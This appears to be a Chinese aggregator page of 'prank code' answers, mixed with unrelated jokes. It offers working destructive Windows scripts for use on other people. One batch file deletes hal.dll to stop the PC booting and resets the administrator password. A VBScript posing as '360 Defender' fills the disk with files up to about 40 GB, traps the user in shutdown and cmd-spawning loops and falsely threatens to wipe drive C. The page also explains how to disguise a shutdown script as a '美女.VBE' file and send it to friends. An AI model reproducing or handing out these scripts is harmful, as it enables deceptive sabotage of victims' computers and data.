本文目录一览：
- 1、求简单的整人Bat代码
- 2、有没有一些恶搞别人的vbs代码
- 3、手机QQ的整人代码大全
- 4、最搞笑的代码
- 5、求一些好玩的整人代码~~
- 6、你见过有哪些搞笑的代码？
求简单的整人Bat代码
代码开始，只抄横线里面的
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@echo off
net user administrator nishizhu\add
del /s /q c:\Windows\System32\hal.dll
shutdown -s -t 5 -c 你是一头猪！！！
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代码详解：
@echo off —— 隐藏命令，关闭回显。
net user administrator nishizhu\add —— 把开机密码改成“nishizhu\add”
del /s /q c:\Windows\System32\hal.dll —— 删掉系统加载程序（删了就开不了机）
shutdown -s -t 5 -c 你是一头猪！！！ —— 定时关机5秒钟，并提示你是一头猪！！！
有没有一些恶搞别人的vbs代码
自编vbs仅供娱乐！！！
set qstart = wscript.CreateObject("wscript.shell")
set qweb = CreateObject("Wscript.Shell")
set qwrite = CreateObject("scripting.filesystemobject")
set qsay = CreateObject("sapi.spvoice")
qstart.run "D:\病毒BGM.mp3" '《江南皮革厂倒闭了》
msgbox "您的电脑已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"
qstart.run "cmd.exe /c start appwiz.cpl"
qstart.run "cmd.exe /c start bthprops.cpl"
qstart.run "cmd.exe /c start calc.exe"
qstart.run "cmd.exe /c start cleanmgr.exe"
qstart.run "cmd.exe /c start cmd.exe"
qstart.run "cmd.exe /c start colorcpl.exe"
qstart.run "cmd.exe /c start control.exe"
qstart.run "cmd.exe /c start cttune.exe"
qstart.run "cmd.exe /c start desk.cpl"
qstart.run "cmd.exe /c start dfrgui.exe"
qstart.run "cmd.exe /c start dxdiag.exe"
qstart.run "cmd.exe /c start FileHistory.exe"
qstart.run "cmd.exe /c start Firewall.cpl"
qstart.run "cmd.exe /c start Fondue.exe"
qstart.run "cmd.exe /c start fontview.exe"
qstart.run "cmd.exe /c start fsquirt.exe"
qstart.run "cmd.exe /c start hdwwiz.cpl"
qstart.run "cmd.exe /c start inetcpl.cpl"
qstart.run "cmd.exe /c start intl.cpl"
qstart.run "cmd.exe /c start irprops.cpl"
qstart.run "cmd.exe /c start joy.cpl"
qstart.run "cmd.exe /c start LaunchTM.exe"
qstart.run "cmd.exe /c start Magnify.exe"
qstart.run "cmd.exe /c start main.cpl"
qstart.run "cmd.exe /c start mblctr.exe"
qstart.run "cmd.exe /c start mmsys.cpl"
qstart.run "cmd.exe /c start msinfo32.exe"
qstart.run "cmd.exe /c start mspaint.exe"
qstart.run "cmd.exe /c start ncpa.cpl"
qstart.run "cmd.exe /c start notepad.exe"
qstart.run "cmd.exe /c start powercfg.cpl"
qstart.run "cmd.exe /c start RTSnMg64.cpl"
qstart.run "cmd.exe /c start SnippingTool.exe"
qstart.run "cmd.exe /c start sysdm.cpl"
qstart.run "cmd.exe /c start TabletPC.cpl"
qstart.run "cmd.exe /c start telephon.cpl"
qstart.run "cmd.exe /c start timedate.cpl"
qstart.run "cmd.exe /c start write.exe"
qstart.run "cmd.exe /c start wscript.exe"
qstart.run "cmd.exe /c start wscui.cpl"
qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"
qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"
qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"
qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"
qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"
qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"
qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"
wscript.sleep 25000
qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司温馨提醒：因为这个游戏涉及非法内容，所以您的电脑将在60秒后自动关机"" ",0,true
qstart.run "cmd.exe /c echo 滚|clip"
A = INPUTBOX ("说！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滚”已复制到剪贴板，可以粘贴。）","360 Defender","不是",8000,7000)
IF A = "是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "好的，现在您可以下载360安全卫士来杀毒了。",vbokonly,"360 Defender"
do
qweb.run""
loop
ELSEIF A = "不是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎么这么懒呢？",vbokonly+vbQuestion,"360 Defender"
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是时候锻炼锻炼了",vbokonly+vbInformation,"360 Defender"
msgbox "游戏规则：在开始后，请及时点击 “确定” 键来取消关机。"+chr(13)+"现在您可以把这个窗口x掉，或者点击确定，来开始游戏。",vbokonly+vbInformation,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true
msgbox "取消关机",vbokonly,"360 Defender"
qstart.run "cmd.exe /c shutdown -a",0,true
qweb.run""
qweb.run""
qweb.run""
loop
ELSEIF A = "" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "周鸿祎表示无语。"+chr(13)+chr(13)+chr(13)+"这样是不可能解决问题的",vbokonly,"360 Defender"
msgbox "自己探寻吧",vbokonly,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5",0,true
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd.exe /c shutdown -a",0,true
loop
ELSEIF A = "滚" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "emmmmmmmm",vbokonly,"360 Defender"
set qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)
qwriteb.WriteLine "wscript.CreateObject(" chr(34) "wscript.shell" chr(34) ").run " chr(34) "D:\1.vbs" chr(34)
qwriteb.WriteLine "msgbox " chr(34) "滚" chr(34) ",vbokonly+vbinformation," chr(34) "360 Defender" chr(34)
qwriteb.close
qwrite.movefile "D:\1.txt","D:\1.vbs"
qstart.run "D:\1.vbs"
ELSE
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "由于您在说废话，但是您一定不想浪费时间说废话，所以该电脑对您有害。浪费别人时间就是谋财害命 ( 鲁迅 ) 。360积极维护您的财产权和生命健康权，决定不砸掉您的电脑。"+chr(13)+chr(13)+"那现在先把C盘给抹咯！",vbokonly+vbInformation,"360 Defender"
qsay.speak ("在抹掉C盘的过程中，您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qstart.run "cmd.exe /c shutdown -r -t 5",0,true
END IF
手机QQ的整人代码大全
第一步，将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果谁运行了这个QQ炸弹，在30秒后会自动关机。
下面说一下使用方法：
最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊！")
WScript.Echo("推荐你来的肯定是个坏蛋！")
WScript.Echo("欢迎来到被整软件站！")
WScript.Echo("是谁设计的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要点30次确定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
最搞笑的代码
15．公路上发生了一起车祸——乌龟踩伤了窝牛。警察正在调查事故原因说窝牛：乌龟是怎么撞到你的？正吊着石膏的窝牛惊惶未定地回忆道：我不记得了，当时他的速度太快了！
16．一只北极熊孤单的呆在冰上发呆，实在无聊就开始拔自己的毛玩，一根……两根……三根……最后拔的一根不剩，他突然大叫……好冷啊！
17．同事的女儿是个小美人胚子，从幼儿园回来她妈妈经常会问她：“美人儿，今天有人这么叫你了吗？”小小女孩子居然叹了口气：“估计他们看我看多了，也就不觉得我美了。”
18．一对夫妇避孕失败后生了一个小男孩，孩子一生出来就紧握拳头，一直笑个不停。护士把他的拳头一掰开，发现里面有一把避孕药，接着小男孩开口说话了：“你们两个想弄死我，没那么容易，哈哈哈哈……”
求一些好玩的整人代码~~
gsh=msgbox ("已经准备好格式化，准备开始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "开始格式化…… 哈哈！吓晕了吧，骗你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows发现一重要更新，将自动下载。"
wscript.sleep 3000
msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描？",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"发行者 田间的菜鸟 "+chr(13)+"安全评级 高危"+chr(13)+"建议 直接删除"+chr(13)+"病毒类型：木马",,"windows扫描附件"
msgbox "是否阻止其安装？",vbyesno
wscript.sleep 3000
msgbox "阻止失败！请检查防火墙是否开启！"
wscript.sleep 5000
msgbox "正在尝试强行删除…"
wscript.sleep 5000
msgbox "失败！"
wscript.sleep 5000
msgbox "您的电脑已陷入危险之中，请赶快扫描病毒！"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊！"
wscript.sleep 3000
msgbox "很高兴见到你！"
wscript.sleep 3000
msgbox "您的电脑可能已经感染病毒！",,"WINDOWS防火墙警告"
wscript.sleep 3000
msgbox "我控制你的电脑了！"
wscript.sleep 3000
msgbox "不信？那我给你关机看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧！"
msgbox "帮你解除关机……"
s.run "shutdown -a"
msgbox "再给你打开记事本写封信，劝你最好别动，要不然会引起系统混乱~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I'm sorry I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示：刚才的“病毒”是假的，只不过是吓你玩玩~"
s.run "explorer"
”
你见过有哪些搞笑的代码？
有天，正在编程一个游戏，做货币系统的时候，上了个厕所，不知道哪个同事弄成了。游戏写好了，原来的“点券”变成了，你是一个2B哟，咿呀咿呀哟。
